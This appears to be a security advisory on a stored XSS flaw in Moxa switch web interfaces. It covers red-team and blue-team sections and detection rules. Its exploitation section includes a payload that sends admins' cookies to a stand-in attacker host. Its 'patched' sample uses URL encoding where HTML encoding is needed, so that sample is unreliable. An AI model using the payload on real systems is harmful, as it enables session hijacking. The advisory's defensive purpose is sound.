CVE-2025-1679

Executive Summary

CVE-2025-1679 is a stored cross-site scripting (XSS) vulnerability identified in Moxa Ethernet switches. An authenticated administrative attacker can inject malicious scripts into the device’s web service, which persist across sessions and impact other authenticated users interacting with the web interface. While the vulnerability does not affect the confidentiality, integrity, or availability of the switch itself, it leads to some loss of confidentiality and integrity within subsequent systems (e.g., browsers of other admins). The CVSS score is listed as 0.0, indicating incomplete scoring data, but the actual risk is moderate due to the persistence and potential for credential theft or session hijacking. No public exploit code or patch details are available at this time.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (unscored; likely moderate based on description)
• Attack Vector: Network (authenticated admin)
• Attack Complexity: Low
• Privileges Required: High (admin)
• User Interaction: Required (victim admin must visit injected page)
• Scope: Changed (impact on subsequent systems)
• Confidentiality Impact: Low (within subsequent system)
• Integrity Impact: Low (within subsequent system)
• Availability Impact: None
• Threat Level: Medium (stored XSS with persistence, but requires admin privileges)

Deep Dive & Mechanics

The vulnerability resides in the web management interface of Moxa Ethernet switches. An authenticated administrative user can inject malicious JavaScript into fields that are later rendered to other authenticated users. Because the injection is stored (persistent), every time a victim admin accesses the affected page, the script executes in their browser context. This can lead to:

• Session token theft (via document.cookie)
• Redirection to malicious sites
• Defacement of the management interface
• Keylogging or form data capture

The root cause is insufficient sanitization of user-supplied input before storage and rendering. The injected script is not filtered or encoded, allowing arbitrary HTML/JavaScript to be stored and served to other users.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Server-side: stores user input directly without sanitization
app.post('/saveConfig', (req, res) => {
  const userInput = req.body.comment;
  db.save('config', { comment: userInput }); // No sanitization
  res.send('Saved');
});

// Server-side: renders stored data without encoding
app.get('/config', (req, res) => {
  const config = db.get('config');
  res.send(`<div>${config.comment}</div>`); // XSS
});

Patched Code (Conceptual):

// Server-side: sanitize input before storage
const sanitizeHtml = require('sanitize-html');
app.post('/saveConfig', (req, res) => {
  const userInput = sanitizeHtml(req.body.comment, {
    allowedTags: [],
    allowedAttributes: {}
  });
  db.save('config', { comment: userInput });
  res.send('Saved');
});

// Server-side: encode output when rendering
app.get('/config', (req, res) => {
  const config = db.get('config');
  const encoded = encodeURIComponent(config.comment);
  res.send(`<div>${encoded}</div>`);
});

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to Moxa switch web interface with admin credentials
• A field that accepts and stores user input (e.g., device description, SNMP community string, or custom banner)

Exploitation Steps:

1. Log in to the Moxa switch web interface as admin.
2. Navigate to a vulnerable input field (e.g., System > Description).
3. Inject the following payload:

   <script>alert('XSS')</script>
   

4. Save the configuration.
5. When another admin views the same page, the script executes.

Advanced Payload (Session Hijacking):

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team

Detection:

• Monitor web application logs for unusual input patterns (e.g., <script>, onerror=, javascript:).
• Use WAF rules to block common XSS payloads in POST/GET parameters.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Hunting:

• Search for stored XSS indicators in device configuration backups.
• Review audit logs for admin accounts that modified configuration fields containing HTML/JavaScript.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to attacker-controlled domains from the switch’s web interface (if payload exfiltrates data).
• Host: Presence of <script> tags or event handlers in device configuration fields (e.g., description, location, SNMP strings).
• Logs: Unusual POST requests to configuration endpoints with HTML/JavaScript content.
• File: Modified configuration files containing malicious scripts.

Detection Engineering

YARA Rule

rule Moxa_Stored_XSS_CVE_2025_1679 {
    meta:
        description = "Detects stored XSS payloads in Moxa switch configuration data"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-1679"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /on\w+\s*=\s*['\"].*?['\"]/is
        $xss3 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: Moxa Stored XSS Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects stored XSS attempts in Moxa switch web interface
author: Valters IT
logsource:
    category: webserver
    product: moxa
detection:
    selection:
        http.method: 'POST'
        http.url: '/saveConfig'  # Example endpoint
        http.body|contains: 
            - '<script'
            - 'onerror='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in description fields (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"Moxa Stored XSS Payload in POST"; flow:to_server,established; content:"POST"; http_method; content:"/saveConfig"; http_uri; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict admin access to the web interface via IP allowlists or VPN.
2. Disable unused web services on the switch.
3. Implement strict input validation and output encoding in any custom scripts interacting with the device.

Long-Term Fixes:

• Apply vendor patch when available (check Moxa support portal).
• Upgrade to a firmware version that includes proper input sanitization.
• Use a WAF or reverse proxy to filter XSS payloads.

Compensating Controls:

• Enable CSP headers on the web interface (if configurable).
• Use browser extensions that block XSS (e.g., NoScript).
• Regularly audit configuration files for unexpected HTML/JavaScript.

Valters IT signature: This report is provided for authorized security testing and defensive purposes only. Unauthorized exploitation is illegal.